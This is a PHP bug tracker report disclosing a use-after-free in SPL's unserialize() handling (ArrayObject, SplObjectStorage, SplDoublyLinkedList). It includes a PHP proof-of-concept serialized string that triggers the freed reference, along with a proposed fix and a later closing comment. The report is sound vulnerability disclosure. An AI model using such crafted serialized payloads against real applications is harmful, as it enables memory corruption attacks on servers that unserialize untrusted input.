|  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73319 Use-after-free Vulnerabilities in unserialize() with SPL Deserialization
Submitted: 2016-10-14 01:14 UTC Modified: 2020-06-10 10:59 UTC
From: taoguangchen at icloud dot com Assigned: nikic (profile)
Status: Closed Package: SPL related
PHP Version: 5.6.26 OS:
Private report: No CVE-ID: None
View Add Comment Developer Edit
Anyone can comment on a bug. Have a simpler test case? Does it work for you on a different platform? Let us know!
Just going to say 'Me too!'? Don't clutter the database with that please !
Your email address:
Solve the problem:
4 + 7 = ?
Subscribe to this entry?

 [2016-10-14 01:14 UTC] taoguangchen at icloud dot com
SPL_METHOD(Array, unserialize)
	if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) {
		goto outexcept;
  	if (pflags) {
  	zend_throw_exception_ex(spl_ce_UnexpectedValueException, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);

When the php_var_unserialize call to fails, zval will be freed via zval_ptr_dtor, but it is still possible to be referenced by external php_var_unserialize.


class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    function unserialize($data) {
			try {
				$this->data = unserialize($data);
			} catch (Exception $e) {
        // do something

$inner = 'x:s:1:"A";';
$inner = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';
$data = unserialize($exploit);


Some similar issues exists in other php_var_unserialize call to fails in ArrayObject deserialization, and also exists in SplObjectStorage/SplDoublyLinkedList.
Fix these issues you need to use var_push_dtor_no_addref instead of zval_ptr_dtor.


Add a Patch

Pull Requests

Add a Pull Request


AllCommentsChangesGit/SVN commitsRelated reports
 [2020-06-10 10:59 UTC]
-Status: Open +Status: Closed -Type: Security +Type: Bug -Assigned To: +Assigned To: nikic
 [2020-06-10 10:59 UTC]
Can't reproduce any memory corruption in current PHP versions. It looks like this code was switched to use var_tmp_var() at some point, and as such doesn't immediately destroy values any more.
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sun Jul 14 18:01:29 2024 UTC